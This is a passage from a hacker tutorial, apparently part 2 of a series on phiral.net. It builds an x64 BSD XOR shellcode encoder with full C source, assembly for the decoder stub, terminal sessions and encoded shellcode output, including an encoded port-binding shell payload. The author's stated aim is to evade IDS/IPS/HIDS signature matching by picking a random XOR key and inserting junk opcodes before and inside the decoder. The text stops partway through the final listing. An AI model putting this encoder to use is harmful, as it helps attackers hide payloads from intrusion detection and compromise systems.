Part 2 of http://lucifer.phiral.net/x64_xor_encoder.txt
Download code at: http://lucifer.phiral.net/x64_bsd_encoder_2.tgz
Code is not optimized at all, only used as an example. This
only for shellcode less then 255 bytes, anything over
and you would have to change the loader - the old encoder does
this for you if you need and example.
The last encoder.c wrote the loader.s assembly file, using
1) the byte used to xor your shellcode and 2) the bytes that it
read from ./sc.bin. It assembled and linked loader.s, then
dumped the opcodes with a shell script - basically showing the
steps in a way that was easy to reproduce.
The loader.s template always looked like:
.section .data
.globl _start
_start:
xorq %r8, %r8
movb <BYTE XORING WITH>, %r9b <------- #1
jmp get_sc_addr
jmp_back:
popq %rax
xorq %rcx, %rcx
xorq %rbx, %rbx
xor_loop:
movb (%rax, %rcx, 1), %bl
cmpq %r8, %rbx
je exec_sc
xorb %r9b, %bl
movb %bl, (%rax, %rcx, 1)
incq %rcx
jmp xor_loop
get_sc_addr:
call jmp_back
exec_sc:
.byte 0x<SC BYTE0>,0x<SC BYTE1>,0x<SC BYTE2>...
^
| <------- #2
Which you can see by just running ./encoder from part 1 and cat'ing loader.s.
Example:
[entropy@phiral.net ~/code/encoder/fids/old]$ wget http://lucifer.phiral.net/x64_bsd_encoder.tgz
100%[============================================================>] 3,002 --.-K/s in
0.04s
2011-09-01 17:30:07 (81.6 KB/s) - `x64_bsd_encoder.tgz' saved [3002/3002]
[entropy@phiral.net ~/code/encoder/fids/old]$ tar -xvzf x64_bsd_encoder.tgz
x encoder.c
x get-sc.sh
x portbind.s
x shell.s
x exec-sc.c
x hello_world.s
x sc.sh
[entropy@phiral.net ~/code/encoder/fids/old]$ gcc encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/old]$ as portbind.s -o portbind.o
[entropy@phiral.net ~/code/encoder/fids/old]$ ld portbind.o -o portbind
[entropy@phiral.net ~/code/encoder/fids/old]$ ./get-sc.sh portbind
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31[...]
[entropy@phiral.net ~/code/encoder/fids/old]$ perl -e 'print "\x90\x6a\x61[...]";' > sc.bin
[entropy@phiral.net ~/code/encoder/fids/old]$ ./encoder
shellcode length: 178
"\x4d\x31\xc0\x41\xb1\x03\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x93\x69\x62\x5b\x69\x01"
"\x5c\x69\x02\x5d\x69\x05\x59\xce\x83\x4e\x32\xc3\x42\x8a\xc3"
"\x4e\x32\xd1\x42\x51\x42\x51\x4b\x32\xca\xb2\x02\xc5\x07\x0f"
"\x01\xb2\x01\x65\xc4\x07\x0f\x19\x09\x69\x6b\x5b\x42\x53\x5c"
"\x4b\x8a\xe5\x69\x13\x59\xce\x83\x69\x69\x5b\x42\x53\x5c\x69"
"\x02\x5d\xce\x83\x69\x1d\x5b\x42\x53\x5c\x4b\x8a\xe5\x4b\x32"
"\xca\xb2\x13\x52\x4b\x8a\xe1\xce\x83\x5a\x4e\x32\xca\x42\x8a"
"\xc2\x69\x59\x5b\x47\x8a\xcc\x4b\x32\xf5\xce\x83\x69\x59\x5b"
"\x47\x8a\xcc\x69\x02\x5d\xce\x83\x69\x59\x5b\x47\x8a\xcc\x69"
"\x01\x5d\xce\x83\x69\x38\x5b\x4b\x32\xca\x52\x4b\x8a\xe5\x4b"
"\xba\x2c\x61\x6a\x6d\x2c\x70\x6b\xa9\x52\x4b\x8a\xe4\x4b\x32"
"\xd8\x4b\x32\xca\xb2\x04\x8b\x1f\x0f\x4b\x32\xd1\xce\x83\x69"
"\x02\x5b\x4b\x32\xfc\xce\x83"
[entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s
.section .data
.globl _start
_start:
xorq %r8, %r8
movb $3, %r9b <------------ $3 is what this is xoring with
jmp get_sc_addr
jmp_back:
popq %rax
xorq %rcx, %rcx
xorq %rbx, %rbx
xor_loop:
movb (%rax, %rcx, 1), %bl
cmpq %r8, %rbx
je exec_sc
xorb %r9b, %bl
movb %bl, (%rax, %rcx, 1)
incq %rcx
jmp xor_loop
get_sc_addr:
call jmp_back
exec_sc:
.byte 0x93,0x69,0x62,0x5b,0x69,0x01,0x5c,0x69,0x02,0x5d,0x69,0x05,0x59,0xce,0x83[...]
^
^ xored with $3 shellcode bytes
Since this was written to the .data section and not the .text (you have to change
from .text section as its readonly+execute).
1 .text 0000fcb0 0000000000400240 0000000000400240 00000240 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .data 00000018 0000000000500af8 0000000000500af8 00000af8 2**3
CONTENTS, ALLOC, LOAD, DATA
Change .data section to .text and re-assemble and link so you can dump opcodes of
the encoder easily.
[entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s | sed -e 's/.data/.text/g' > load.s
[entropy@phiral.net ~/code/encoder/fids/old]$ as -gstabs load.s -o load.o
[entropy@phiral.net ~/code/encoder/fids/old]$ ld load.o -o load
[entropy@phiral.net ~/code/encoder/fids/old]$ objdump -d load
[...]
00000000004000b0 <_start>:
4000b0: 4d 31 c0 xor %r8,%r8
4000b3: 41 b1 03 mov $0x3,%r9b
4000b6: eb 1a jmp 4000d2 <get_sc_addr>
00000000004000b8 <jmp_back>:
4000b8: 58 pop %rax
4000b9: 48 31 c9 xor %rcx,%rcx
4000bc: 48 31 db xor %rbx,%rbx
00000000004000bf <xor_loop>:
4000bf: 8a 1c 08 mov (%rax,%rcx,1),%bl
4000c2: 4c 39 c3 cmp %r8,%rbx
4000c5: 74 10 je 4000d7 <exec_sc>
4000c7: 44 30 cb xor %r9b,%bl
4000ca: 88 1c 08 mov %bl,(%rax,%rcx,1)
4000cd: 48 ff c1 inc %rcx
4000d0: eb ed jmp 4000bf <xor_loop>
00000000004000d2 <get_sc_addr>:
4000d2: e8 e1 ff ff ff callq 4000b8 <jmp_back>
[...]
Everything from <exec_sc> down is the shellcode. So the decoder in C looks
like:
unsigned char decoder[] =
"\x4d\x31\xc0" /* xor %r8,%r8 */
"\x41\xb1\x03" /* mov $0x3,%r9b */
"\xeb\x1a" /* jmp 4000d2 <get_sc_addr> */
"\x58" /* pop %rax */
"\x48\x31\xc9" /* xor %rcx,%rcx */
"\x48\x31\xdb" /* xor %rbx,%rbx */
"\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */
"\x4c\x39\xc3" /* cmp %r8,%rbx */
"\x74\x10" /* je 4000d7 <exec_sc> */
"\x44\x30\xcb" /* xor %r9b,%bl */
"\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */
"\x48\xff\xc1" /* inc %rcx */
"\xeb\xed" /* jmp 4000bf <xor_loop> */
"\xe8\xe1\xff\xff\xff"; /* callq 4000b8 <jmp_back> */
Except in the old encoder.c I picked the first available good
byte I could xor everything with and not get a \x0, in this one
I make an array of all good bytes and randomly pick one. So the first
change is the line:
"\x41\xb1\x03" /* mov $0x3,%r9b */
will change to
"\x41\xb1\x00" /* mov $0x00,%r9b */
where 00 is some byte we can xor all the shellcode with. Thats the 5th
byte from the start of decoder, so overwrite that when we find a suitable
one. The new C code looks like:
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ cat encoder.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
unsigned char decoder[] =
"\x4d\x31\xc0" /* xor %r8,%r8 */
"\x41\xb1\x00" /* mov $0x00,%r9b */
"\xeb\x1a" /* jmp 4000d2 <get_sc_addr> */
"\x58" /* pop %rax */
"\x48\x31\xc9" /* xor %rcx,%rcx */
"\x48\x31\xdb" /* xor %rbx,%rbx */
"\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */
"\x4c\x39\xc3" /* cmp %r8,%rbx */
"\x74\x10" /* je 4000d7 <exec_sc> */
"\x44\x30\xcb" /* xor %r9b,%bl */
"\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */
"\x48\xff\xc1" /* inc %rcx */
"\xeb\xed" /* jmp 4000bf <xor_loop> */
"\xe8\xe1\xff\xff\xff"; /* callq 4000b8 <jmp_back> */
int
main(int argc, char **argv) {
struct stat sstat;
int i, n, fd, len, xor_with;
int dlen;
unsigned char *fbuf, *ebuf;
unsigned char bad_bytes[256] = {0};
unsigned char good_bytes[256] = {0};
/* open the sc.bin file and read all the bytes */
if (lstat("sc.bin", &sstat) < 0) {
_exit(-1);
}
len = sstat.st_size;
if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
perror("malloc");
_exit(-1);
}
if ((fd = open("sc.bin", O_RDONLY)) < 0) {
perror("open");
_exit(-1);
}
if (read(fd, fbuf, len) != len) {
perror("read");
_exit(-1);
}
close(fd);
/* try every byte xored, if its \x0 add to bad_bytes */
for (n = 0; n < len; n++) {
for (i = 1; i < 256; i++) {
if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
}
}
/* if its not a bad_byte its a good_one (ordered) */
for (i = 1, n = 0; i < 256; i++) {
if (bad_bytes[i] == '\0') good_bytes[n++] = i;
}
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
if (xor_with) {
printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
/* overwrite that 5th xor byte with the xor_with byte */
decoder[5] = xor_with;
dlen = strlen((char *)decoder);
if ((ebuf = (unsigned char *)malloc(dlen+len+1)) == NULL) {
perror("malloc");
_exit(-1);
}
memset(ebuf, '\x0', sizeof(ebuf));
/* copy the en/decoder into the array */
for (i = 0; i < dlen; i++) {
ebuf[i] = decoder[i];
}
/* copy the xored shellcode byes in */
for (i = 0; i < len; i++) {
ebuf[(i+dlen)] = xor_with^*(fbuf+i);
}
printf("\n\"");
for (i = 0; i < strlen((char *)ebuf); i++) {
if (i > 0 && i % 15 == 0) printf("\"\n\"");
printf("\\x%02x", ebuf[i]);
}
printf("\";\n\n");
return 0;
} else {
printf("\n[*] No byte found to XOR with :(\n");
_exit(-1);
}
return 0;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ gcc -Wall encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ as hello_world.s -o hello_world.o
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ld hello_world.o -o hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh
Usage: ./write-sc.sh <bin>
Dumps opcodes from assembled and linked bin,
then perl -e 'print <OPCODES>;' to sc.bin.
Example:
as code.s -o code.o
ld code.o -o code
./write-sc.sh code
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh hello_world
Now everytime its run it will pseudo randomly pick the byte to xor with
out of the array of good_bytes.
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder
[x] Choose to XOR with 0xfd
"\x4d\x31\xc0\x41\xb1\xfd\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x6d\x97\xf9\xa5\x97\xfc"
"\xa2\xb5\x44\x92\x8f\x91\x99\xdc\xf7\x57\x57\xac\xb5\x44\xb5"
"\x98\x91\x91\x92\xd1\xdd\xaa\xac\xb5\xcc\x26\xb5\xcc\x34\x44"
"\xf3\xfd\xfd\xfd\x9b\x74\xe1\xf1\xb5\x74\x1b\x97\xf3\xa7\x30"
"\x7d\xa4\xa4\x97\xfc\xa5\x97\xfd\xa2\x30\x7d";
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder
[x] Choose to XOR with 0xb7
"\x4d\x31\xc0\x41\xb1\xb7\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x27\xdd\xb3\xef\xdd\xb6"
"\xe8\xff\x0e\xd8\xc5\xdb\xd3\x96\xbd\x1d\x1d\xe6\xff\x0e\xff"
"\xd2\xdb\xdb\xd8\x9b\x97\xe0\xe6\xff\x86\x6c\xff\x86\x7e\x0e"
"\xb9\xb7\xb7\xb7\xd1\x3e\xab\xbb\xff\x3e\x51\xdd\xb9\xed\x7a"
"\x37\xee\xee\xdd\xb6\xef\xdd\xb7\xe8\x7a\x37";
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder
[x] Choose to XOR with 0xeb
"\x4d\x31\xc0\x41\xb1\xeb\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x7b\x81\xef\xb3\x81\xea"
"\xb4\xa3\x52\x84\x99\x87\x8f\xca\xe1\x41\x41\xba\xa3\x52\xa3"
"\x8e\x87\x87\x84\xc7\xcb\xbc\xba\xa3\xda\x30\xa3\xda\x22\x52"
"\xe5\xeb\xeb\xeb\x8d\x62\xf7\xe7\xa3\x62\x0d\x81\xe5\xb1\x26"
"\x6b\xb2\xb2\x81\xea\xb3\x81\xeb\xb4\x26\x6b";
But the problem is the decoder code is always the same,
so any ids/ips/hids etc will be able to pick it up with their leet
string matching 100k dollar skillz. A solution is to put some random
useless shit opcodes before and in between the decoder. Obviously
this will make the shellcode larger.
I dont use any registers above %r9 in code so make up a useless.s
with a bunch of useless asm, assemble and link it and dump opcodes.
[entropy@phiral.net ~/code/encoder/fids]$ cat useless.s
.section .text
.globl _start
_start:
nop
xor %r10, %r10
xor %r11, %r11
xor %r12, %r12
xor %r13, %r13
xor %r14, %r14
xor %r15, %r15
shr $8, %r10
shl $8, %r10
shr $8, %r11
shl $8, %r11
shr $8, %r12
shl $8, %r12
shr $8, %r13
shl $8, %r13
shr $8, %r14
shl $8, %r14
shr $8, %r15
shl $8, %r15
incq %r10
decq %r10
incq %r11
decq %r11
incq %r12
decq %r12
incq %r13
decq %r13
incq %r14
decq %r14
incq %r15
decq %r15
Obvioulsy theres a fuck load of others that would work also but...
[entropy@phiral.net ~/code/encoder/fids]$ as useless.s -o useless.o
[entropy@phiral.net ~/code/encoder/fids]$ ld useless.o -o useless
[entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut
-f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d'
90
4d 31 d2
4d 31 db
4d 31 e4
4d 31 ed
4d 31 f6
4d 31 ff
49 c1 ea 08
49 c1 e2 08
49 c1 eb 08
49 c1 e3 08
49 c1 ec 08
49 c1 e4 08
49 c1 ed 08
49 c1 e5 08
49 c1 ee 08
49 c1 e6 08
49 c1 ef 08
49 c1 e7 08
49 ff c2
49 ff ca
49 ff c3
49 ff cb
49 ff c4
49 ff cc
49 ff c5
49 ff cd
49 ff c6
49 ff ce
49 ff c7
49 ff cf
And in C:
[entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut
-f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d' | wc
31 103 340
31 lines of...
unsigned char useless[][5] = {
{"\x90"}, /* nop */
{"\x4d\x31\xd2"}, /* xor %r10,%r10 */
{"\x4d\x31\xdb"}, /* xor %r10,%r10 */
{"\x4d\x31\xe4"}, /* xor %r10,%r10 */
{"\x4d\x31\xed"}, /* xor %r10,%r10 */
{"\x4d\x31\xf6"}, /* xor %r10,%r10 */
{"\x4d\x31\xff"}, /* xor %r10,%r10 */
{"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */
{"\x49\xff\xc2"}, /* inc %r10 */
{"\x49\xff\xca"}, /* dec %r10 */
{"\x49\xff\xc3"}, /* inc %r10 */
{"\x49\xff\xcb"}, /* dec %r10 */
{"\x49\xff\xc4"}, /* inc %r10 */
{"\x49\xff\xcc"}, /* dec %r10 */
{"\x49\xff\xc5"}, /* inc %r10 */
{"\x49\xff\xcd"}, /* dec %r10 */
{"\x49\xff\xc6"}, /* inc %r10 */
{"\x49\xff\xce"}, /* dec %r10 */
{"\x49\xff\xc7"}, /* inc %r10 */
{"\x49\xff\xcf"}}; /* dec %r10 */
The new encoder.c looks like:
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ cat encoder.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
unsigned char decoder[] =
"\x4d\x31\xc0" /* xor %r8,%r8 */
"\x41\xb1\x00" /* mov $0x00,%r9b */
"\xeb\x1a" /* jmp 4000d2 <get_sc_addr> */
"\x58" /* pop %rax */
"\x48\x31\xc9" /* xor %rcx,%rcx */
"\x48\x31\xdb" /* xor %rbx,%rbx */
"\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */
"\x4c\x39\xc3" /* cmp %r8,%rbx */
"\x74\x10" /* je 4000d7 <exec_sc> */
"\x44\x30\xcb" /* xor %r9b,%bl */
"\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */
"\x48\xff\xc1" /* inc %rcx */
"\xeb\xed" /* jmp 4000bf <xor_loop> */
"\xe8\xe1\xff\xff\xff"; /* callq 4000b8 <jmp_back> */
unsigned char useless[][5] = {
{"\x90"}, /* nop */
{"\x4d\x31\xd2"}, /* xor %r10,%r10 */
{"\x4d\x31\xdb"}, /* xor %r10,%r10 */
{"\x4d\x31\xe4"}, /* xor %r10,%r10 */
{"\x4d\x31\xed"}, /* xor %r10,%r10 */
{"\x4d\x31\xf6"}, /* xor %r10,%r10 */
{"\x4d\x31\xff"}, /* xor %r10,%r10 */
{"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */
{"\x49\xff\xc2"}, /* inc %r10 */
{"\x49\xff\xca"}, /* dec %r10 */
{"\x49\xff\xc3"}, /* inc %r10 */
{"\x49\xff\xcb"}, /* dec %r10 */
{"\x49\xff\xc4"}, /* inc %r10 */
{"\x49\xff\xcc"}, /* dec %r10 */
{"\x49\xff\xc5"}, /* inc %r10 */
{"\x49\xff\xcd"}, /* dec %r10 */
{"\x49\xff\xc6"}, /* inc %r10 */
{"\x49\xff\xce"}, /* dec %r10 */
{"\x49\xff\xc7"}, /* inc %r10 */
{"\x49\xff\xcf"}}; /* dec %r10 */
int
main(int argc, char **argv) {
struct stat sstat;
int i, n, fd, len, xor_with;
int dlen, plen;
unsigned char *fbuf, *ebuf;
unsigned char bad_bytes[256] = {0};
unsigned char good_bytes[256] = {0};
/* open the sc.bin file and read all the bytes */
if (lstat("sc.bin", &sstat) < 0) {
_exit(-1);
}
len = sstat.st_size;
if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
perror("malloc");
_exit(-1);
}
if ((fd = open("sc.bin", O_RDONLY)) < 0) {
perror("open");
_exit(-1);
}
if (read(fd, fbuf, len) != len) {
perror("read");
_exit(-1);
}
close(fd);
/* try every byte xored, if its \x0 add to bad_bytes */
for (n = 0; n < len; n++) {
for (i = 1; i < 256; i++) {
if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
}
}
/* if its not a bad_byte its a good_one (ordered) */
for (i = 1, n = 0; i < 256; i++) {
if (bad_bytes[i] == '\0') good_bytes[n++] = i;
}
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
if (xor_with) {
printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
/* overwrite that 5th xor byte with the xor_with byte */
decoder[5] = xor_with;
dlen = strlen((char *)decoder);
/* prepend: longest useless[] instruction were using is four bytes
* randomly prepend between one and four useless instructions so
* sixteen bytes at maximim.
*/
if ((ebuf = (unsigned char *)malloc(16+dlen+len+1)) == NULL) {
perror("malloc");
_exit(-1);
}
memset(ebuf, '\x0', sizeof(ebuf));
/* randomly prepend between one and four instructions */
/* thirty one lines of useless[] instructions in 2d array */
n = rand()%(4 + 1);
for (i = 0, plen = 0; i < n; i++) {
int k, opcode = rand()%31;
printf("[p] Prepending useless opcodes: ");
for (k = 0; k < strlen((char *)useless[opcode]); k++) {
printf("\\x%02x", useless[opcode][k]);
}
printf("\n");
memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode]));
plen += strlen((char *)useless[opcode]);
}
printf("\n");
for (i = 0; i < dlen; i++) {
ebuf[(i+plen)] = decoder[i];
}
/* copy the xored shellcode byes in */
for (i = 0; i < len; i++) {
ebuf[(i+dlen+plen)] = xor_with^*(fbuf+i);
}
printf("\n\"");
for (i = 0; i < strlen((char *)ebuf); i++) {
if (i > 0 && i % 15 == 0) printf("\"\n\"");
printf("\\x%02x", ebuf[i]);
}
printf("\";\n\n");
return 0;
} else {
printf("\n[*] No byte found to XOR with :(\n");
_exit(-1);
}
return 0;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ gcc -Wall encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ as hello_world.s -o hello_world.o
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ld hello_world.o -o hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./write-sc.sh hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder
[x] Choose to XOR with 0x1f
[p] Prepending useless opcodes: \x49\xff\xc4
[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xc7
"\x49\xff\xc4\x49\xc1\xe5\x08\x49\xff\xc7\x4d\x31\xc0\x41\xb1"
"\x1f\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39"
"\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8"
"\xe1\xff\xff\xff\x8f\x75\x1b\x47\x75\x1e\x40\x57\xa6\x70\x6d"
"\x73\x7b\x3e\x15\xb5\xb5\x4e\x57\xa6\x57\x7a\x73\x73\x70\x33"
"\x3f\x48\x4e\x57\x2e\xc4\x57\x2e\xd6\xa6\x11\x1f\x1f\x1f\x79"
"\x96\x03\x13\x57\x96\xf9\x75\x11\x45\xd2\x9f\x46\x46\x75\x1e"
"\x47\x75\x1f\x40\xd2\x9f";
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder
[x] Choose to XOR with 0x8f
[p] Prepending useless opcodes: \x4d\x31\xf6
"\x4d\x31\xf6\x4d\x31\xc0\x41\xb1\x8f\xeb\x1a\x58\x48\x31\xc9"
"\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88"
"\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x1f\xe5\x8b"
"\xd7\xe5\x8e\xd0\xc7\x36\xe0\xfd\xe3\xeb\xae\x85\x25\x25\xde"
"\xc7\x36\xc7\xea\xe3\xe3\xe0\xa3\xaf\xd8\xde\xc7\xbe\x54\xc7"
"\xbe\x46\x36\x81\x8f\x8f\x8f\xe9\x06\x93\x83\xc7\x06\x69\xe5"
"\x81\xd5\x42\x0f\xd6\xd6\xe5\x8e\xd7\xe5\x8f\xd0\x42\x0f";
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder
[x] Choose to XOR with 0xc8
[p] Prepending useless opcodes: \x49\xc1\xee\x08
[p] Prepending useless opcodes: \x49\xff\xcd
[p] Prepending useless opcodes: \x49\xc1\xea\x08
"\x49\xc1\xee\x08\x49\xff\xcd\x49\xc1\xea\x08\x4d\x31\xc0\x41"
"\xb1\xc8\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c"
"\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed"
"\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2\xc9\x97\x80\x71\xa7"
"\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71\x80\xad\xa4\xa4\xa7"
"\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01\x71\xc6\xc8\xc8\xc8"
"\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92\x05\x48\x91\x91\xa2"
"\xc9\x90\xa2\xc8\x97\x05\x48";
etc.
Now to insert useless opcodes between the decoder. The instructions
chosen will not effect anything in this, so after each instruction
up until the jmp it is possible to insert any of them. Obviously you cant
insert any after the jmp as it would fuck up the relative offset, but
if your willing to fix the jmp offsets its possible.
"\x4d\x31\xc0" /* xor %r8,%r8 */ index 2
"\x41\xb1\x00" /* mov $0x00,%r9b */ index 5
"\xeb\x1a" /* jmp 4000d2 <get_sc_addr> */
"\x58" /* pop %rax */
"\x48\x31\xc9" /* xor %rcx,%rcx */
"\x48\x31\xdb" /* xor %rbx,%rbx */
"\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */
"\x4c\x39\xc3" /* cmp %r8,%rbx */
"\x74\x10" /* je 4000d7 <exec_sc> */
"\x44\x30\xcb" /* xor %r9b,%bl */
"\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */
"\x48\xff\xc1" /* inc %rcx */
"\xeb\xed" /* jmp 4000bf <xor_loop> */
"\xe8\xe1\xff\xff\xff"; /* callq 4000b8 <jmp_back> */
The code to then put random instructions at index 2 and index 5 of the
decoder is:
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat encoder.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
/*
*
* im completely rehabilitated, reinvigorated,
* reassimilated and relocated psych
*
*/
unsigned char decoder[] =
"\x4d\x31\xc0" /* xor %r8,%r8 */
"\x41\xb1\x00" /* mov $0x00,%r9b */
"\xeb\x1a" /* jmp 4000d2 <get_sc_addr> */
"\x58" /* pop %rax */
"\x48\x31\xc9" /* xor %rcx,%rcx */
"\x48\x31\xdb" /* xor %rbx,%rbx */
"\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */
"\x4c\x39\xc3" /* cmp %r8,%rbx */
"\x74\x10" /* je 4000d7 <exec_sc> */
"\x44\x30\xcb" /* xor %r9b,%bl */
"\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */
"\x48\xff\xc1" /* inc %rcx */
"\xeb\xed" /* jmp 4000bf <xor_loop> */
"\xe8\xe1\xff\xff\xff"; /* callq 4000b8 <jmp_back> */
unsigned char useless[][5] = {
{"\x90"}, /* nop */
{"\x4d\x31\xd2"}, /* xor %r10,%r10 */
{"\x4d\x31\xdb"}, /* xor %r10,%r10 */
{"\x4d\x31\xe4"}, /* xor %r10,%r10 */
{"\x4d\x31\xed"}, /* xor %r10,%r10 */
{"\x4d\x31\xf6"}, /* xor %r10,%r10 */
{"\x4d\x31\xff"}, /* xor %r10,%r10 */
{"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */
{"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */
{"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */
{"\x49\xff\xc2"}, /* inc %r10 */
{"\x49\xff\xca"}, /* dec %r10 */
{"\x49\xff\xc3"}, /* inc %r10 */
{"\x49\xff\xcb"}, /* dec %r10 */
{"\x49\xff\xc4"}, /* inc %r10 */
